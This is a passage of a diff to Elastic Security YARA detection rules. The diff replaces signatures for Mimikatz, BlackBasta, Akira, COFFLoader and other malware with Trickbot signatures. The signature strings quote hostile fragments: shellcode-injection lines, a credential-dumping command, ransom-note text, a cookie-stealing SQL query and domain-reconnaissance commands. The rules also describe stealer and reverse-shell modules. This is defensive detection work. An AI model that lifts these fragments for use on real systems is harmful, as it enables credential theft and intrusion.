+		fingerprint = "3e4474205efe22ea0185c49052e259bc08de8da7c924372f6eb984ae36b91a1c"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "$PEBytes32 = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwc"
-		$a2 = "$PEBytes64 = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwc"
-		$b1 = "Write-BytesToMemory -Bytes $Shellcode"
-		$b2 = "-MemoryAddress $GetCommandLineWAddrTemp"
-		$b3 = "-MemoryAddress $GetCommandLineAAddrTemp"
-		$c1 = "Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, \"Void\", 0, \"\", $ExeArgs)" fullword
-		$c2 = "Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, \"Void\", 0, \"\", $ExeArgs) -ComputerNam"
-		$c3 = "at: http://blog.gentilkiwi.com"
-		$c4 = "on the local computer to dump certificates."
-		$c5 = "Throw \"Unable to write shellcode to remote process memory.\"" fullword
-		$c6 = "-Command \"privilege::debug exit\" -ComputerName \"computer1\""
-		$c7 = "dump credentials without"
-		$c8 = "#The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory" fullword
-		$c9 = "two remote computers to dump credentials."
-		$c10 = "#If a remote process to inject in to is specified, get a handle to it" fullword
+		$a = { 04 39 45 08 75 08 8B 4D F8 8B 41 18 EB 0F 8B 55 F8 8B 02 89 }
 
 	condition:
-		(1 of ($a*) or 2 of ($b*)) or 5 of ($c*)
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Mimikatz_71Fe23D9 : FILE
+rule ELASTIC_Windows_Trojan_Trickbot_D916Ae65 : FILE MEMORY
 {
 	meta:
-		description = "Subject: Benjamin Delpy"
+		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
 		author = "Elastic Security"
-		id = "71fe23d9-ee1a-47fb-a99f-2be2eb9ccb1a"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "d916ae65-c97b-495c-89c2-4f1ec90081d2"
+		date = "2021-03-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_Mimikatz.yar#L114-L133"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "856687718b208341e7caeea2d96da10f880f9b5a75736796a1158d4c8755f678"
-		logic_hash = "6d1e84bb8532c6271ad3966055eac8d60ec019d8ae6632efb59463c35b46ad9b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L269-L286"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "e0aafe498cd9f0e8addfef78027943a754ca797aafae0cb40f1c6425de501339"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "22b1f36e82e604fc3a80bb5abf87aef59957b1ceeb050eea3c9e85fb0b937db1"
-		threat_name = "Windows.Hacktool.Mimikatz"
+		tags = "FILE, MEMORY"
+		fingerprint = "2e109ed59a1e759ef089e04c21016482bf70228da30d8b350fc370b4e4d120e0"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$subject_name = { 06 03 55 04 03 [2] 42 65 6E 6A 61 6D 69 6E 20 44 65 6C 70 79 }
+		$a = { 5F 24 01 10 CF 22 01 10 EC 22 01 10 38 23 01 10 79 23 01 10 82 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $subject_name
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Mimikatz_B393864F : FILE
+rule ELASTIC_Windows_Trojan_Trickbot_52722678 : FILE MEMORY
 {
 	meta:
-		description = "Subject: Open Source Developer, Benjamin Delpy"
+		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
 		author = "Elastic Security"
-		id = "b393864f-a9b0-47e7-aea4-0fc5a4a22a82"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "52722678-afbe-43ec-a39b-6848b7d49488"
+		date = "2021-03-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_Mimikatz.yar#L135-L154"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8206ce9c42582ac980ff5d64f8e3e310bc2baa42d1a206dd831c6ab397fbd8fe"
-		logic_hash = "d09cb7f753675e0b6ecd8a7977ca7f8d313e5d525f05170fc54b265c2ae6c188"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L288-L305"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "6340171fdde68b32de480f1f410aa4c491a8fffa7c1f699bf5fa72a12ecb77b8"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "bfd497290db97b7578d59e8d43a28ee736a3d7d23072eb67d28ada85cac08bd3"
-		threat_name = "Windows.Hacktool.Mimikatz"
+		tags = "FILE, MEMORY"
+		fingerprint = "e67dda5227be74424656957843777ea533b6800576fd85f978fd8fb50504209c"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$subject_name = { 06 03 55 04 03 [2] 4F 70 65 6E 20 53 6F 75 72 63 65 20 44 65 76 65 6C 6F 70 65 72 2C 20 42 65 6E 6A 61 6D 69 6E 20 44 65 6C 70 79 }
+		$a = { 2B 5D 0C 89 5D EC EB 03 8B 5D EC 8A 1C 3B 84 DB 74 0D 38 1F }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $subject_name
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Mimikatz_1Ff74F7E : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_28A60148 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Mimikatz (Windows.Hacktool.Mimikatz)"
+		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
 		author = "Elastic Security"
-		id = "1ff74f7e-ec5a-45ae-b51b-2f8205445cc8"
-		date = "2023-05-09"
-		modified = "2023-06-13"
+		id = "28a60148-2efb-4cd2-ada1-dd2ae2699adf"
+		date = "2021-03-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_Mimikatz.yar#L156-L175"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1b6aad500d45de7b076942d31b7c3e77487643811a335ae5ce6783368a4a5081"
-		logic_hash = "f47f760b4c373a073399c69681e76eb9dde6cfdb36c1cc31d7131376493931c0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L307-L324"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "20a26ed3f0da3a77867597494bf0069a2093ec19b1c5e179c0e7934c1b69d4b9"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6775be439ad1822bcaa04ed2d392143616746cfd674202aa29773c98642346f4"
+		fingerprint = "c857aa792ef247bfcf81e75fb696498b1ba25c09fc04049223a6dfc09cc064b1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -66856,29 +70695,27 @@ rule ELASTIC_Windows_Hacktool_Mimikatz_1Ff74F7E : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 74 65 48 8B 44 24 28 0F B7 80 E0 00 00 00 83 F8 10 75 54 48 8B 44 }
-		$a2 = { 74 69 48 8B 44 24 28 0F B7 80 D0 00 00 00 83 F8 10 75 58 48 8B 44 }
+		$a = { C0 31 E8 83 7D 0C 00 89 44 24 38 0F 29 44 24 20 0F 29 44 24 10 0F 29 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Ransomware_Blackbasta_494D3C54 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_997B25A0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Blackbasta (Windows.Ransomware.BlackBasta)"
+		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
 		author = "Elastic Security"
-		id = "494d3c54-4690-4334-b64d-ebeeb305de0e"
-		date = "2022-08-06"
-		modified = "2022-08-16"
+		id = "997b25a0-aeac-4f74-aa87-232c4f8329b6"
+		date = "2021-03-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_BlackBasta.yar#L1-L27"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "357fe8c56e246ffacd54d12f4deb9f1adb25cb772b5cd2436246da3f2d01c222"
-		logic_hash = "1ecb3c95a2d3f91d267f0b625fffc8477612fde9de3942eff8eb13115c0af6b8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L326-L343"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "ca688086c4628c64c32a99083d620bcb5373e3100d154331451a3e9f86081aca"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "27602cb05c054a1aa9e27b91675d57707f4a63fa91badc83ad86229839778f4e"
+		fingerprint = "0bba1c5284ed0548f51fdfd6fb96e24f92f7f4132caefbf0704efb0b1a64b7c4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -66886,36 +70723,27 @@ rule ELASTIC_Windows_Ransomware_Blackbasta_494D3C54 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "Done time: %.4f seconds, encrypted: %.4f gb" ascii fullword
-		$a2 = "Creating readme at %s" wide fullword
-		$a3 = "All of your files are currently encrypted by no_name_software." ascii fullword
-		$a4 = "DON'T move or rename your files. These parameters can be used for encryption/decryption process." ascii fullword
-		$b1 = "Your data are stolen and encrypted" ascii fullword
-		$b2 = "bcdedit /deletevalue safeboot" ascii fullword
-		$b3 = "Your company id for log in:"
-		$byte_seq = { 0F AF 45 DC 8B CB 0F AF 4D DC 0F AF 5D D8 0F AF 55 D8 8B F9 }
-		$byte_seq2 = { 18 FF 24 1E 18 FF 64 61 5D FF CF CF CF FF D0 D0 D0 FF D0 D0 D0 FF }
+		$a = { 85 D2 74 F0 C6 45 E1 20 8D 4D E1 C6 45 E2 4A C6 45 E3 4A C6 45 }
 
 	condition:
-		4 of them
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Coffloader_81Ba13B8 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_B17B33A1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Coffloader (Windows.Hacktool.COFFLoader)"
+		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
 		author = "Elastic Security"
-		id = "81ba13b8-8994-4fe9-98e5-44514c554e8b"
-		date = "2024-04-22"
-		modified = "2024-05-08"
+		id = "b17b33a1-1021-4980-8ffd-2e7aa4ca2ae4"
+		date = "2021-03-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_COFFLoader.yar#L1-L43"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c2e03659eb1594dc958e01344cfa9ba126d66736b089db5e3dd1b1c3e3e7d2f7"
-		logic_hash = "d4f061af200a0ae9f3276fd6dfcb09ecdf662f29b7c43ea47c69a53d9fe66793"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L345-L362"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "7fa69674d1e985bafe310597f23ae80113136768141f0a1931baf88b2509e6ef"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ef9f11d9cd6c3b46f7d13ea039dcad6fa24515495466b1102ec8c1c8bed8853e"
+		fingerprint = "753d15c1ff0cc4cf75250761360bb35280ff0a1a4d34320df354e0329dd35211"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -66923,52 +70751,29 @@ rule ELASTIC_Windows_Hacktool_Coffloader_81Ba13B8 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "BeaconDataParse" ascii fullword
-		$a2 = "BeaconDataInt" ascii fullword
-		$a3 = "BeaconDataShort" ascii fullword
-		$a4 = "BeaconDataLength" ascii fullword
-		$a5 = "BeaconDataExtract" ascii fullword
-		$a6 = "BeaconFormatAlloc" ascii fullword
-		$a7 = "BeaconFormatReset" ascii fullword
-		$a8 = "BeaconFormatFree" ascii fullword
-		$a9 = "BeaconFormatAppend" ascii fullword
-		$a10 = "BeaconFormatPrintf" ascii fullword
-		$a11 = "BeaconFormatToString" ascii fullword
-		$a12 = "BeaconFormatInt" ascii fullword
-		$a13 = "BeaconPrintf" ascii fullword
-		$a14 = "BeaconOutput" ascii fullword
-		$a15 = "BeaconUseToken" ascii fullword
-		$a16 = "BeaconRevertToken" ascii fullword
-		$a17 = "BeaconDataParse" ascii fullword
-		$a18 = "BeaconIsAdmin" ascii fullword
-		$a19 = "BeaconGetSpawnTo" ascii fullword
-		$a20 = "BeaconSpawnTemporaryProcess" ascii fullword
-		$a21 = "BeaconInjectProcess" ascii fullword
-		$a22 = "BeaconInjectTemporaryProcess" ascii fullword
-		$a23 = "BeaconCleanupProcess" ascii fullword
-		$b1 = "COFFLoader.x64.dll"
-		$b2 = "COFFLoader.x86.dll"
+		$a = { 08 53 55 56 57 64 A1 30 00 00 00 89 44 24 10 8B 44 24 10 8B }
 
 	condition:
-		5 of ($a*) or 1 of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Akira_C8C298Ba : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_23D77Ae5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Akira (Windows.Ransomware.Akira)"
+		description = "Targets importDll64 containing Browser data stealer module"
 		author = "Elastic Security"
-		id = "c8c298ba-2760-4880-a54a-3d916049d0ab"
-		date = "2024-05-02"
-		modified = "2024-05-08"
+		id = "23d77ae5-80de-4bb0-8701-ddcaff443dcc"
+		date = "2021-03-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Akira.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a2df5477cf924bd41241a3326060cc2f913aff2379858b148ddec455e4da67bc"
-		logic_hash = "9058c83693e93f6daee8894453e56e0d9a4867d551ec3a6b66d7a517f65d8b07"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L364-L396"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "844974a2d3266e1f9ba275520c0e8a5d176df69a0ccd5135b99facf798a5d209"
+		logic_hash = "e5f5cf854ebd0e25fffbd6796217f22223a06937e1cacb33baa105ac41731256"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "81c6dfa172ce7f4254e3cc74fcb71786336d39438d6e9379f7611495f54227c9"
+		fingerprint = "d382a99e5eed87cf2eab5e238e445ca0bf7852e40b0dd06a392057e76144699f"
+		threat_name = "Windows.Trojan.Trickbot"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -66976,89 +70781,123 @@ rule ELASTIC_Windows_Ransomware_Akira_C8C298Ba : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "akira_readme.txt" ascii fullword
-		$a2 = "Number of threads to encrypt = " ascii fullword
-		$a3 = "write_encrypt_info error:" ascii fullword
-		$a4 = "Log-%d-%m-%Y-%H-%M-%S" ascii fullword
-		$a5 = "--encryption_path" wide fullword
-		$a6 = "--encryption_percent" wide fullword
+		$a1 = "/system32/cmd.exe /c \"start microsoft-edge:{URL}\"" ascii fullword
+		$a2 = "SELECT name, value, host_key, path, expires_utc, creation_utc, encrypted_value FROM cookies" ascii fullword
+		$a3 = "attempt %d. Cookies not found" ascii fullword
+		$a4 = "attempt %d. History not found" ascii fullword
+		$a5 = "Cookies version is %d (%d)" ascii fullword
+		$a6 = "attempt %d. Local Storage not found" ascii fullword
+		$a7 = "str+='xie.com.'+p+'.guid='+'{'+components[i]+'}\\n';" ascii fullword
+		$a8 = "Browser exec is: %s" ascii fullword
+		$a9 = "found mozilla key: %s" ascii fullword
+		$a10 = "Version %d is not supported" ascii fullword
+		$a11 = "id %d - %s" ascii fullword
+		$a12 = "prot: %s, scope: %s, port: %d" ascii fullword
+		$a13 = "***** Send %d bytes to callback from %s *****" ascii fullword
+		$a14 = "/chrome.exe {URL}" ascii fullword
 
 	condition:
-		3 of them
+		4 of ($a*)
 }
-rule ELASTIC_Linux_Trojan_Marut_47Af730D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_5574Be7D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Marut (Linux.Trojan.Marut)"
+		description = "Targets injectDll64 containing injection functionality to steal banking credentials"
 		author = "Elastic Security"
-		id = "47af730d-1e03-4d27-9661-84fb12b593bd"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "5574be7d-7502-4357-8110-2fb4a661b2bd"
+		date = "2021-03-29"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Marut.yar#L1-L18"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "048ce8059be6697c5f507fb1912ac2adcedab87c75583dd84700984e6d0d81e6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L398-L432"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8c5c0d27153f60ef8aec57def2f88e3d5f9a7385b5e8b8177bab55fa7fac7b18"
+		logic_hash = "ed0fc98c5d628ce38b923e1410eaf7a4a65ecffea42bed35314e30c99a52219b"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "4429ef9925aff797ab973f9a5b0efc160a516f425e3b024f22e5a5ddad26c341"
+		fingerprint = "23d9b89917a0fc5aad903595b89b650f6dbb0f82ce28ce8bcc891904f62ccf1b"
+		threat_name = "Windows.Trojan.Trickbot"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 20 89 34 24 FF D1 8B 44 24 0C 0F B6 4C 24 04 8B 54 24 08 85 D2 }
+		$a1 = "webinject64.dll" ascii fullword
+		$a2 = "Mozilla Firefox version: %s" ascii fullword
+		$a3 = "socks=127.0.0.1:" ascii fullword
+		$a4 = "<conf ctl=\"dpost\" file=\"dpost\" period=\"60\"/>" ascii fullword
+		$a5 = "<moduleconfig>" ascii fullword
+		$a6 = "https://%.*s%.*s" ascii fullword
+		$a7 = "http://%.*s%.*s" ascii fullword
+		$a8 = "Chrome version: %s" ascii fullword
+		$a9 = "IE version real: %s" ascii fullword
+		$a10 = "IE version old: %s" ascii fullword
+		$a11 = "Build date: %s %s" ascii fullword
+		$a12 = "EnumDpostServer" ascii fullword
+		$a13 = "ESTR_PASS_" ascii fullword
+		$a14 = "<conf ctl=\"dinj\" file=\"dinj\" period=\"20\"/>" ascii fullword
+		$a15 = "<conf ctl=\"sinj\" file=\"sinj\" period=\"20\"/>" ascii fullword
+		$a16 = "<autoconf>" ascii fullword
 
 	condition:
-		all of them
+		4 of ($a*)
 }
-rule ELASTIC_Windows_Vulndriver_Elrawdisk_F9Fd1A80 : FILE
+rule ELASTIC_Windows_Trojan_Trickbot_1473F0B4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Vulndriver Elrawdisk (Windows.VulnDriver.ElRawDisk)"
+		description = "Targets mailsearcher64.dll module"
 		author = "Elastic Security"
-		id = "f9fd1a80-048f-437f-badb-85d984af202d"
-		date = "2022-10-07"
-		modified = "2023-06-13"
+		id = "1473f0b4-a6b5-4b19-a07e-83d32a7e44a0"
+		date = "2021-03-29"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_ElRawDisk.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ed4f2b3db9a79535228af253959a0749b93291ad8b1058c7a41644b73035931b"
-		logic_hash = "43f9f1f6ad6c1defe2f0d6dd0cd380bea1a8ead19bc0bf203bdfe4f83b9c284d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L434-L459"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9cfb441eb5c60ab1c90b58d4878543ee554ada2cceee98d6b867e73490d30fec"
+		logic_hash = "dc13625e58c029c60b8670f8e63cd7786bf3e9705c462f3cbbf5b39e7c02f9a1"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		fingerprint = "3d9dedd033cf07920eaa99b0d1fb654057def2bcef10080b45e1e8a285db8a4e"
-		severity = 50
+		quality = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "15438ae141a2ac886b1ba406ba45119da1a616c3b2b88da3f432253421aa8e8b"
+		threat_name = "Windows.Trojan.Trickbot"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$str1 = "\\elrawdsk.pdb"
+		$a1 = "mailsearcher.dll" ascii fullword
+		$a2 = "%s/%s/%s/send/" wide fullword
+		$a3 = "Content-Disposition: form-data; name=\"list\"" ascii fullword
+		$a4 = "<moduleconfig><needinfo name=\"id\"/><needinfo name=\"ip\"/><autostart>no</autostart><autoconf><conf ctl=\"SetConf\" file=\"mail"
+		$a5 = "eriod=\"60\"/></autoconf></moduleconfig>" ascii fullword
+		$a6 = "=Waitu H" ascii fullword
+		$a7 = "Content-Length: %d" ascii fullword
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		2 of ($a*)
 }
-rule ELASTIC_Windows_Trojan_Powerseal_D63F5E54 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_Dcf25Dde : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Powerseal (Windows.Trojan.PowerSeal)"
+		description = "Targets networkDll64.dll module containing functionality to gather network and system information"
 		author = "Elastic Security"
-		id = "d63f5e54-6be1-453d-a96e-083a025deba2"
-		date = "2023-03-16"
-		modified = "2023-05-26"
-		reference = "https://www.elastic.co/security-labs/elastic-charms-spectralviper"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_PowerSeal.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "523dcff68a51ea8fb022066b5f09394e8174d6c157222a08100de30669898057"
+		id = "dcf25dde-36c4-4a24-aa2b-0b3f42324918"
+		date = "2021-03-29"
+		modified = "2021-08-23"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L461-L502"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ba2a255671d33677cab8d93531eb25c0b1f1ac3e3085b95365a017463662d787"
+		logic_hash = "64d15d92faf0919a8fa1ce6772750cde47eaa24b09cf4243393777334bad9712"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "bc63511a0b12edaf7a2ace02f79ab9a2dbea5a0879fd976cc91308f98bac1c52"
+		fingerprint = "4088ae29cb3b665ccedf69e9d02c1ff58620d4b589343cd4077983b25c5b479f"
+		threat_name = "Windows.Trojan.Trickbot"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -67066,30 +70905,51 @@ rule ELASTIC_Windows_Trojan_Powerseal_D63F5E54 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "PowerSeal.dll" wide fullword
-		$a2 = "InvokePs" ascii fullword
-		$a3 = "amsiInitFailed" wide fullword
-		$a4 = "is64BitOperatingSystem" ascii fullword
+		$a1 = "Host Name - %s" wide fullword
+		$a2 = "Last Boot Up Time - %02u/%02u/%04u %02d.%02d.%02d" wide fullword
+		$a3 = "Install Date - %02u/%02u/%04u %02d.%02d.%02d" wide fullword
+		$a4 = "System Directory - %s" wide fullword
+		$a5 = "OS Version - %s" wide fullword
+		$a6 = "***PROCESS LIST***" wide fullword
+		$a7 = "Product Type - Domain Controller" wide fullword
+		$a8 = "Registered Organization - %s" wide fullword
+		$a9 = "Product Type - Domain Controller" wide fullword
+		$a10 = "Build Type - %s" wide fullword
+		$a11 = "Boot Device - %s" wide fullword
+		$a12 = "Serial Number - %s" wide fullword
+		$a13 = "OS Architecture - %s" wide fullword
+		$a14 = "<moduleconfig><needinfo name=\"id\"/><needinfo name=\"ip\"/><autoconf><conf ctl=\"SetConf\" file=\"dpost\" period=\"1440\"/></au"
+		$a15 = "oduleconfig>" ascii fullword
+		$a16 = "Computer name: %s" wide fullword
+		$a17 = "/c net view /all /domain" ascii fullword
+		$a18 = "/c nltest /domain_trusts" ascii fullword
+		$a19 = "***SYSTEMINFO***" wide fullword
+		$a20 = "***LOCAL MACHINE DATA***" wide fullword
+		$a21 = "Admin Name: %s" wide fullword
+		$a22 = "Domain controller: %s" wide fullword
+		$a23 = "Admin E-mail: %s" wide fullword
 
 	condition:
-		all of them
+		4 of ($a*)
 }
-rule ELASTIC_Windows_Trojan_Powerseal_2E50F393 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_46Dc12Dd : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Powerseal (Windows.Trojan.PowerSeal)"
+		description = "Targets newBCtestDll64 module containing reverse shell functionality"
 		author = "Elastic Security"
-		id = "2e50f393-40c0-49f7-882e-33f914eff32d"
-		date = "2023-05-10"
-		modified = "2023-06-13"
-		reference = "https://www.elastic.co/security-labs/elastic-charms-spectralviper"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_PowerSeal.yar#L24-L44"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
